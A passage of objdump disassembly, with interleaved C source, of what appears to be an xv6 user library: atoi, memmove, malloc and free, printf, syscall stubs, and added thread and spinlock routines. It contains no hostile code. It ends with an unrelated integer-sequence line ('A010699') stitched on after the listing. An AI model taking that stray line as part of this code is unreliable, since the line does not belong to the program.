while('0' <= *s && *s <= '9')
349: 77 1a ja 365 <atoi+0x35>
34b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
34f: 90 nop
n = n*10 + *s++ - '0';
350: 83 c2 01 add $0x1,%edx
353: 8d 0c 89 lea (%ecx,%ecx,4),%ecx
356: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx
while('0' <= *s && *s <= '9')
35a: 0f be 02 movsbl (%edx),%eax
35d: 8d 58 d0 lea -0x30(%eax),%ebx
360: 80 fb 09 cmp $0x9,%bl
363: 76 eb jbe 350 <atoi+0x20>
return n;
}
365: 89 c8 mov %ecx,%eax
367: 5b pop %ebx
368: 5d pop %ebp
369: c3 ret
36a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000370 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
370: f3 0f 1e fb endbr32
374: 55 push %ebp
375: 89 e5 mov %esp,%ebp
377: 57 push %edi
378: 8b 45 10 mov 0x10(%ebp),%eax
37b: 8b 55 08 mov 0x8(%ebp),%edx
37e: 56 push %esi
37f: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
382: 85 c0 test %eax,%eax
384: 7e 0f jle 395 <memmove+0x25>
386: 01 d0 add %edx,%eax
dst = vdst;
388: 89 d7 mov %edx,%edi
38a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
*dst++ = *src++;
390: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
391: 39 f8 cmp %edi,%eax
393: 75 fb jne 390 <memmove+0x20>
return vdst;
}
395: 5e pop %esi
396: 89 d0 mov %edx,%eax
398: 5f pop %edi
399: 5d pop %ebp
39a: c3 ret
39b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
39f: 90 nop
000003a0 <thread_join>:
void* stack;
stack =malloc(4096); //pgsize
return clone(start_routine,arg1,arg2,stack);
}
int thread_join()
{
3a0: f3 0f 1e fb endbr32
3a4: 55 push %ebp
3a5: 89 e5 mov %esp,%ebp
3a7: 83 ec 24 sub $0x24,%esp
void * stackPtr;
int x = join(&stackPtr);
3aa: 8d 45 f4 lea -0xc(%ebp),%eax
3ad: 50 push %eax
3ae: e8 f2 02 00 00 call 6a5 <join>
return x;
}
3b3: c9 leave
3b4: c3 ret
3b5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000003c0 <lock_init>:
void lock_init(struct lock_t *lk){
3c0: f3 0f 1e fb endbr32
3c4: 55 push %ebp
3c5: 89 e5 mov %esp,%ebp
lk->locked=0; //intialize as unnlocked
3c7: 8b 45 08 mov 0x8(%ebp),%eax
3ca: c7 00 00 00 00 00 movl $0x0,(%eax)
}
3d0: 5d pop %ebp
3d1: c3 ret
3d2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000003e0 <lock_acquire>:
void lock_acquire(struct lock_t *lk){
3e0: f3 0f 1e fb endbr32
3e4: 55 push %ebp
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
3e5: b9 01 00 00 00 mov $0x1,%ecx
3ea: 89 e5 mov %esp,%ebp
3ec: 8b 55 08 mov 0x8(%ebp),%edx
3ef: 90 nop
3f0: 89 c8 mov %ecx,%eax
3f2: f0 87 02 lock xchg %eax,(%edx)
while(xchg(&lk->locked,1) != 0);
3f5: 85 c0 test %eax,%eax
3f7: 75 f7 jne 3f0 <lock_acquire+0x10>
}
3f9: 5d pop %ebp
3fa: c3 ret
3fb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
3ff: 90 nop
00000400 <lock_release>:
void lock_release(struct lock_t *lk){
400: f3 0f 1e fb endbr32
404: 55 push %ebp
405: 31 c0 xor %eax,%eax
407: 89 e5 mov %esp,%ebp
409: 8b 55 08 mov 0x8(%ebp),%edx
40c: f0 87 02 lock xchg %eax,(%edx)
xchg(&lk->locked,0) ;
}
40f: 5d pop %ebp
410: c3 ret
411: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
418: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
41f: 90 nop
00000420 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
420: f3 0f 1e fb endbr32
424: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
425: a1 ac 0c 00 00 mov 0xcac,%eax
{
42a: 89 e5 mov %esp,%ebp
42c: 57 push %edi
42d: 56 push %esi
42e: 53 push %ebx
42f: 8b 5d 08 mov 0x8(%ebp),%ebx
432: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
434: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
437: 39 c8 cmp %ecx,%eax
439: 73 15 jae 450 <free+0x30>
43b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
43f: 90 nop
440: 39 d1 cmp %edx,%ecx
442: 72 14 jb 458 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
444: 39 d0 cmp %edx,%eax
446: 73 10 jae 458 <free+0x38>
{
448: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
44a: 8b 10 mov (%eax),%edx
44c: 39 c8 cmp %ecx,%eax
44e: 72 f0 jb 440 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
450: 39 d0 cmp %edx,%eax
452: 72 f4 jb 448 <free+0x28>
454: 39 d1 cmp %edx,%ecx
456: 73 f0 jae 448 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
458: 8b 73 fc mov -0x4(%ebx),%esi
45b: 8d 3c f1 lea (%ecx,%esi,8),%edi
45e: 39 fa cmp %edi,%edx
460: 74 1e je 480 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
462: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
465: 8b 50 04 mov 0x4(%eax),%edx
468: 8d 34 d0 lea (%eax,%edx,8),%esi
46b: 39 f1 cmp %esi,%ecx
46d: 74 28 je 497 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
46f: 89 08 mov %ecx,(%eax)
freep = p;
}
471: 5b pop %ebx
freep = p;
472: a3 ac 0c 00 00 mov %eax,0xcac
}
477: 5e pop %esi
478: 5f pop %edi
479: 5d pop %ebp
47a: c3 ret
47b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
47f: 90 nop
bp->s.size += p->s.ptr->s.size;
480: 03 72 04 add 0x4(%edx),%esi
483: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
486: 8b 10 mov (%eax),%edx
488: 8b 12 mov (%edx),%edx
48a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
48d: 8b 50 04 mov 0x4(%eax),%edx
490: 8d 34 d0 lea (%eax,%edx,8),%esi
493: 39 f1 cmp %esi,%ecx
495: 75 d8 jne 46f <free+0x4f>
p->s.size += bp->s.size;
497: 03 53 fc add -0x4(%ebx),%edx
freep = p;
49a: a3 ac 0c 00 00 mov %eax,0xcac
p->s.size += bp->s.size;
49f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
4a2: 8b 53 f8 mov -0x8(%ebx),%edx
4a5: 89 10 mov %edx,(%eax)
}
4a7: 5b pop %ebx
4a8: 5e pop %esi
4a9: 5f pop %edi
4aa: 5d pop %ebp
4ab: c3 ret
4ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004b0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
4b0: f3 0f 1e fb endbr32
4b4: 55 push %ebp
4b5: 89 e5 mov %esp,%ebp
4b7: 57 push %edi
4b8: 56 push %esi
4b9: 53 push %ebx
4ba: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
4bd: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
4c0: 8b 3d ac 0c 00 00 mov 0xcac,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
4c6: 8d 70 07 lea 0x7(%eax),%esi
4c9: c1 ee 03 shr $0x3,%esi
4cc: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
4cf: 85 ff test %edi,%edi
4d1: 0f 84 a9 00 00 00 je 580 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
4d7: 8b 07 mov (%edi),%eax
if(p->s.size >= nunits){
4d9: 8b 48 04 mov 0x4(%eax),%ecx
4dc: 39 f1 cmp %esi,%ecx
4de: 73 6d jae 54d <malloc+0x9d>
4e0: 81 fe 00 10 00 00 cmp $0x1000,%esi
4e6: bb 00 10 00 00 mov $0x1000,%ebx
4eb: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
4ee: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx
4f5: 89 4d e4 mov %ecx,-0x1c(%ebp)
4f8: eb 17 jmp 511 <malloc+0x61>
4fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
500: 8b 10 mov (%eax),%edx
if(p->s.size >= nunits){
502: 8b 4a 04 mov 0x4(%edx),%ecx
505: 39 f1 cmp %esi,%ecx
507: 73 4f jae 558 <malloc+0xa8>
509: 8b 3d ac 0c 00 00 mov 0xcac,%edi
50f: 89 d0 mov %edx,%eax
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
511: 39 c7 cmp %eax,%edi
513: 75 eb jne 500 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
515: 83 ec 0c sub $0xc,%esp
518: ff 75 e4 pushl -0x1c(%ebp)
51b: e8 65 01 00 00 call 685 <sbrk>
if(p == (char*)-1)
520: 83 c4 10 add $0x10,%esp
523: 83 f8 ff cmp $0xffffffff,%eax
526: 74 1b je 543 <malloc+0x93>
hp->s.size = nu;
528: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
52b: 83 ec 0c sub $0xc,%esp
52e: 83 c0 08 add $0x8,%eax
531: 50 push %eax
532: e8 e9 fe ff ff call 420 <free>
return freep;
537: a1 ac 0c 00 00 mov 0xcac,%eax
if((p = morecore(nunits)) == 0)
53c: 83 c4 10 add $0x10,%esp
53f: 85 c0 test %eax,%eax
541: 75 bd jne 500 <malloc+0x50>
return 0;
}
}
543: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
546: 31 c0 xor %eax,%eax
}
548: 5b pop %ebx
549: 5e pop %esi
54a: 5f pop %edi
54b: 5d pop %ebp
54c: c3 ret
if(p->s.size >= nunits){
54d: 89 c2 mov %eax,%edx
54f: 89 f8 mov %edi,%eax
551: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
558: 39 ce cmp %ecx,%esi
55a: 74 54 je 5b0 <malloc+0x100>
p->s.size -= nunits;
55c: 29 f1 sub %esi,%ecx
55e: 89 4a 04 mov %ecx,0x4(%edx)
p += p->s.size;
561: 8d 14 ca lea (%edx,%ecx,8),%edx
p->s.size = nunits;
564: 89 72 04 mov %esi,0x4(%edx)
freep = prevp;
567: a3 ac 0c 00 00 mov %eax,0xcac
}
56c: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
56f: 8d 42 08 lea 0x8(%edx),%eax
}
572: 5b pop %ebx
573: 5e pop %esi
574: 5f pop %edi
575: 5d pop %ebp
576: c3 ret
577: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
57e: 66 90 xchg %ax,%ax
base.s.ptr = freep = prevp = &base;
580: c7 05 ac 0c 00 00 b0 movl $0xcb0,0xcac
587: 0c 00 00
base.s.size = 0;
58a: bf b0 0c 00 00 mov $0xcb0,%edi
base.s.ptr = freep = prevp = &base;
58f: c7 05 b0 0c 00 00 b0 movl $0xcb0,0xcb0
596: 0c 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
599: 89 f8 mov %edi,%eax
base.s.size = 0;
59b: c7 05 b4 0c 00 00 00 movl $0x0,0xcb4
5a2: 00 00 00
if(p->s.size >= nunits){
5a5: e9 36 ff ff ff jmp 4e0 <malloc+0x30>
5aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
5b0: 8b 0a mov (%edx),%ecx
5b2: 89 08 mov %ecx,(%eax)
5b4: eb b1 jmp 567 <malloc+0xb7>
5b6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5bd: 8d 76 00 lea 0x0(%esi),%esi
000005c0 <thread_create>:
{
5c0: f3 0f 1e fb endbr32
5c4: 55 push %ebp
5c5: 89 e5 mov %esp,%ebp
5c7: 83 ec 14 sub $0x14,%esp
stack =malloc(4096); //pgsize
5ca: 68 00 10 00 00 push $0x1000
5cf: e8 dc fe ff ff call 4b0 <malloc>
return clone(start_routine,arg1,arg2,stack);
5d4: 50 push %eax
5d5: ff 75 10 pushl 0x10(%ebp)
5d8: ff 75 0c pushl 0xc(%ebp)
5db: ff 75 08 pushl 0x8(%ebp)
5de: e8 ba 00 00 00 call 69d <clone>
}
5e3: c9 leave
5e4: c3 ret
000005e5 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
5e5: b8 01 00 00 00 mov $0x1,%eax
5ea: cd 40 int $0x40
5ec: c3 ret
000005ed <exit>:
SYSCALL(exit)
5ed: b8 02 00 00 00 mov $0x2,%eax
5f2: cd 40 int $0x40
5f4: c3 ret
000005f5 <wait>:
SYSCALL(wait)
5f5: b8 03 00 00 00 mov $0x3,%eax
5fa: cd 40 int $0x40
5fc: c3 ret
000005fd <pipe>:
SYSCALL(pipe)
5fd: b8 04 00 00 00 mov $0x4,%eax
602: cd 40 int $0x40
604: c3 ret
00000605 <read>:
SYSCALL(read)
605: b8 05 00 00 00 mov $0x5,%eax
60a: cd 40 int $0x40
60c: c3 ret
0000060d <write>:
SYSCALL(write)
60d: b8 10 00 00 00 mov $0x10,%eax
612: cd 40 int $0x40
614: c3 ret
00000615 <close>:
SYSCALL(close)
615: b8 15 00 00 00 mov $0x15,%eax
61a: cd 40 int $0x40
61c: c3 ret
0000061d <kill>:
SYSCALL(kill)
61d: b8 06 00 00 00 mov $0x6,%eax
622: cd 40 int $0x40
624: c3 ret
00000625 <exec>:
SYSCALL(exec)
625: b8 07 00 00 00 mov $0x7,%eax
62a: cd 40 int $0x40
62c: c3 ret
0000062d <open>:
SYSCALL(open)
62d: b8 0f 00 00 00 mov $0xf,%eax
632: cd 40 int $0x40
634: c3 ret
00000635 <mknod>:
SYSCALL(mknod)
635: b8 11 00 00 00 mov $0x11,%eax
63a: cd 40 int $0x40
63c: c3 ret
0000063d <unlink>:
SYSCALL(unlink)
63d: b8 12 00 00 00 mov $0x12,%eax
642: cd 40 int $0x40
644: c3 ret
00000645 <fstat>:
SYSCALL(fstat)
645: b8 08 00 00 00 mov $0x8,%eax
64a: cd 40 int $0x40
64c: c3 ret
0000064d <link>:
SYSCALL(link)
64d: b8 13 00 00 00 mov $0x13,%eax
652: cd 40 int $0x40
654: c3 ret
00000655 <mkdir>:
SYSCALL(mkdir)
655: b8 14 00 00 00 mov $0x14,%eax
65a: cd 40 int $0x40
65c: c3 ret
0000065d <chdir>:
SYSCALL(chdir)
65d: b8 09 00 00 00 mov $0x9,%eax
662: cd 40 int $0x40
664: c3 ret
00000665 <dup>:
SYSCALL(dup)
665: b8 0a 00 00 00 mov $0xa,%eax
66a: cd 40 int $0x40
66c: c3 ret
0000066d <getpid>:
SYSCALL(getpid)
66d: b8 0b 00 00 00 mov $0xb,%eax
672: cd 40 int $0x40
674: c3 ret
00000675 <getyear>:
SYSCALL(getyear)
675: b8 16 00 00 00 mov $0x16,%eax
67a: cd 40 int $0x40
67c: c3 ret
0000067d <getreadcount>:
SYSCALL(getreadcount)
67d: b8 17 00 00 00 mov $0x17,%eax
682: cd 40 int $0x40
684: c3 ret
00000685 <sbrk>:
SYSCALL(sbrk)
685: b8 0c 00 00 00 mov $0xc,%eax
68a: cd 40 int $0x40
68c: c3 ret
0000068d <sleep>:
SYSCALL(sleep)
68d: b8 0d 00 00 00 mov $0xd,%eax
692: cd 40 int $0x40
694: c3 ret
00000695 <uptime>:
SYSCALL(uptime)
695: b8 0e 00 00 00 mov $0xe,%eax
69a: cd 40 int $0x40
69c: c3 ret
0000069d <clone>:
SYSCALL(clone)
69d: b8 18 00 00 00 mov $0x18,%eax
6a2: cd 40 int $0x40
6a4: c3 ret
000006a5 <join>:
SYSCALL(join)
6a5: b8 19 00 00 00 mov $0x19,%eax
6aa: cd 40 int $0x40
6ac: c3 ret
6ad: 66 90 xchg %ax,%ax
6af: 90 nop
000006b0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
6b0: 55 push %ebp
6b1: 89 e5 mov %esp,%ebp
6b3: 57 push %edi
6b4: 56 push %esi
6b5: 53 push %ebx
6b6: 83 ec 3c sub $0x3c,%esp
6b9: 89 4d c4 mov %ecx,-0x3c(%ebp)
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
6bc: 89 d1 mov %edx,%ecx
{
6be: 89 45 b8 mov %eax,-0x48(%ebp)
if(sgn && xx < 0){
6c1: 85 d2 test %edx,%edx
6c3: 0f 89 7f 00 00 00 jns 748 <printint+0x98>
6c9: f6 45 08 01 testb $0x1,0x8(%ebp)
6cd: 74 79 je 748 <printint+0x98>
neg = 1;
6cf: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp)
x = -xx;
6d6: f7 d9 neg %ecx
} else {
x = xx;
}
i = 0;
6d8: 31 db xor %ebx,%ebx
6da: 8d 75 d7 lea -0x29(%ebp),%esi
6dd: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
6e0: 89 c8 mov %ecx,%eax
6e2: 31 d2 xor %edx,%edx
6e4: 89 cf mov %ecx,%edi
6e6: f7 75 c4 divl -0x3c(%ebp)
6e9: 0f b6 92 54 09 00 00 movzbl 0x954(%edx),%edx
6f0: 89 45 c0 mov %eax,-0x40(%ebp)
6f3: 89 d8 mov %ebx,%eax
6f5: 8d 5b 01 lea 0x1(%ebx),%ebx
}while((x /= base) != 0);
6f8: 8b 4d c0 mov -0x40(%ebp),%ecx
buf[i++] = digits[x % base];
6fb: 88 14 1e mov %dl,(%esi,%ebx,1)
}while((x /= base) != 0);
6fe: 39 7d c4 cmp %edi,-0x3c(%ebp)
701: 76 dd jbe 6e0 <printint+0x30>
if(neg)
703: 8b 4d bc mov -0x44(%ebp),%ecx
706: 85 c9 test %ecx,%ecx
708: 74 0c je 716 <printint+0x66>
buf[i++] = '-';
70a: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
buf[i++] = digits[x % base];
70f: 89 d8 mov %ebx,%eax
buf[i++] = '-';
711: ba 2d 00 00 00 mov $0x2d,%edx
while(--i >= 0)
716: 8b 7d b8 mov -0x48(%ebp),%edi
719: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
71d: eb 07 jmp 726 <printint+0x76>
71f: 90 nop
720: 0f b6 13 movzbl (%ebx),%edx
723: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
726: 83 ec 04 sub $0x4,%esp
729: 88 55 d7 mov %dl,-0x29(%ebp)
72c: 6a 01 push $0x1
72e: 56 push %esi
72f: 57 push %edi
730: e8 d8 fe ff ff call 60d <write>
while(--i >= 0)
735: 83 c4 10 add $0x10,%esp
738: 39 de cmp %ebx,%esi
73a: 75 e4 jne 720 <printint+0x70>
putc(fd, buf[i]);
}
73c: 8d 65 f4 lea -0xc(%ebp),%esp
73f: 5b pop %ebx
740: 5e pop %esi
741: 5f pop %edi
742: 5d pop %ebp
743: c3 ret
744: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
748: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp)
74f: eb 87 jmp 6d8 <printint+0x28>
751: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
758: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
75f: 90 nop
00000760 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
760: f3 0f 1e fb endbr32
764: 55 push %ebp
765: 89 e5 mov %esp,%ebp
767: 57 push %edi
768: 56 push %esi
769: 53 push %ebx
76a: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
76d: 8b 75 0c mov 0xc(%ebp),%esi
770: 0f b6 1e movzbl (%esi),%ebx
773: 84 db test %bl,%bl
775: 0f 84 b4 00 00 00 je 82f <printf+0xcf>
ap = (uint*)(void*)&fmt + 1;
77b: 8d 45 10 lea 0x10(%ebp),%eax
77e: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
781: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
784: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
786: 89 45 d0 mov %eax,-0x30(%ebp)
789: eb 33 jmp 7be <printf+0x5e>
78b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
78f: 90 nop
790: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
793: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
798: 83 f8 25 cmp $0x25,%eax
79b: 74 17 je 7b4 <printf+0x54>
write(fd, &c, 1);
79d: 83 ec 04 sub $0x4,%esp
7a0: 88 5d e7 mov %bl,-0x19(%ebp)
7a3: 6a 01 push $0x1
7a5: 57 push %edi
7a6: ff 75 08 pushl 0x8(%ebp)
7a9: e8 5f fe ff ff call 60d <write>
7ae: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
7b1: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
7b4: 0f b6 1e movzbl (%esi),%ebx
7b7: 83 c6 01 add $0x1,%esi
7ba: 84 db test %bl,%bl
7bc: 74 71 je 82f <printf+0xcf>
c = fmt[i] & 0xff;
7be: 0f be cb movsbl %bl,%ecx
7c1: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
7c4: 85 d2 test %edx,%edx
7c6: 74 c8 je 790 <printf+0x30>
}
} else if(state == '%'){
7c8: 83 fa 25 cmp $0x25,%edx
7cb: 75 e7 jne 7b4 <printf+0x54>
if(c == 'd'){
7cd: 83 f8 64 cmp $0x64,%eax
7d0: 0f 84 9a 00 00 00 je 870 <printf+0x110>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
7d6: 81 e1 f7 00 00 00 and $0xf7,%ecx
7dc: 83 f9 70 cmp $0x70,%ecx
7df: 74 5f je 840 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
7e1: 83 f8 73 cmp $0x73,%eax
7e4: 0f 84 d6 00 00 00 je 8c0 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
7ea: 83 f8 63 cmp $0x63,%eax
7ed: 0f 84 8d 00 00 00 je 880 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
7f3: 83 f8 25 cmp $0x25,%eax
7f6: 0f 84 b4 00 00 00 je 8b0 <printf+0x150>
write(fd, &c, 1);
7fc: 83 ec 04 sub $0x4,%esp
7ff: c6 45 e7 25 movb $0x25,-0x19(%ebp)
803: 6a 01 push $0x1
805: 57 push %edi
806: ff 75 08 pushl 0x8(%ebp)
809: e8 ff fd ff ff call 60d <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
80e: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
811: 83 c4 0c add $0xc,%esp
814: 6a 01 push $0x1
816: 83 c6 01 add $0x1,%esi
819: 57 push %edi
81a: ff 75 08 pushl 0x8(%ebp)
81d: e8 eb fd ff ff call 60d <write>
for(i = 0; fmt[i]; i++){
822: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
826: 83 c4 10 add $0x10,%esp
}
state = 0;
829: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
82b: 84 db test %bl,%bl
82d: 75 8f jne 7be <printf+0x5e>
}
}
}
82f: 8d 65 f4 lea -0xc(%ebp),%esp
832: 5b pop %ebx
833: 5e pop %esi
834: 5f pop %edi
835: 5d pop %ebp
836: c3 ret
837: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
83e: 66 90 xchg %ax,%ax
printint(fd, *ap, 16, 0);
840: 83 ec 0c sub $0xc,%esp
843: b9 10 00 00 00 mov $0x10,%ecx
848: 6a 00 push $0x0
84a: 8b 5d d0 mov -0x30(%ebp),%ebx
84d: 8b 45 08 mov 0x8(%ebp),%eax
850: 8b 13 mov (%ebx),%edx
852: e8 59 fe ff ff call 6b0 <printint>
ap++;
857: 89 d8 mov %ebx,%eax
859: 83 c4 10 add $0x10,%esp
state = 0;
85c: 31 d2 xor %edx,%edx
ap++;
85e: 83 c0 04 add $0x4,%eax
861: 89 45 d0 mov %eax,-0x30(%ebp)
864: e9 4b ff ff ff jmp 7b4 <printf+0x54>
869: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
870: 83 ec 0c sub $0xc,%esp
873: b9 0a 00 00 00 mov $0xa,%ecx
878: 6a 01 push $0x1
87a: eb ce jmp 84a <printf+0xea>
87c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
880: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
883: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
886: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
888: 6a 01 push $0x1
ap++;
88a: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
88d: 57 push %edi
88e: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
891: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
894: e8 74 fd ff ff call 60d <write>
ap++;
899: 89 5d d0 mov %ebx,-0x30(%ebp)
89c: 83 c4 10 add $0x10,%esp
state = 0;
89f: 31 d2 xor %edx,%edx
8a1: e9 0e ff ff ff jmp 7b4 <printf+0x54>
8a6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8ad: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, c);
8b0: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
8b3: 83 ec 04 sub $0x4,%esp
8b6: e9 59 ff ff ff jmp 814 <printf+0xb4>
8bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8bf: 90 nop
s = (char*)*ap;
8c0: 8b 45 d0 mov -0x30(%ebp),%eax
8c3: 8b 18 mov (%eax),%ebx
ap++;
8c5: 83 c0 04 add $0x4,%eax
8c8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
8cb: 85 db test %ebx,%ebx
8cd: 74 17 je 8e6 <printf+0x186>
while(*s != 0){
8cf: 0f b6 03 movzbl (%ebx),%eax
state = 0;
8d2: 31 d2 xor %edx,%edx
while(*s != 0){
8d4: 84 c0 test %al,%al
8d6: 0f 84 d8 fe ff ff je 7b4 <printf+0x54>
8dc: 89 75 d4 mov %esi,-0x2c(%ebp)
8df: 89 de mov %ebx,%esi
8e1: 8b 5d 08 mov 0x8(%ebp),%ebx
8e4: eb 1a jmp 900 <printf+0x1a0>
s = "(null)";
8e6: bb 4b 09 00 00 mov $0x94b,%ebx
while(*s != 0){
8eb: 89 75 d4 mov %esi,-0x2c(%ebp)
8ee: b8 28 00 00 00 mov $0x28,%eax
8f3: 89 de mov %ebx,%esi
8f5: 8b 5d 08 mov 0x8(%ebp),%ebx
8f8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8ff: 90 nop
write(fd, &c, 1);
900: 83 ec 04 sub $0x4,%esp
s++;
903: 83 c6 01 add $0x1,%esi
906: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
909: 6a 01 push $0x1
90b: 57 push %edi
90c: 53 push %ebx
90d: e8 fb fc ff ff call 60d <write>
while(*s != 0){
912: 0f b6 06 movzbl (%esi),%eax
915: 83 c4 10 add $0x10,%esp
918: 84 c0 test %al,%al
91a: 75 e4 jne 900 <printf+0x1a0>
91c: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
91f: 31 d2 xor %edx,%edx
921: e9 8e fe ff ff jmp 7b4 <printf+0x54>
|
; A010699: Period 2: repeat (2,9).
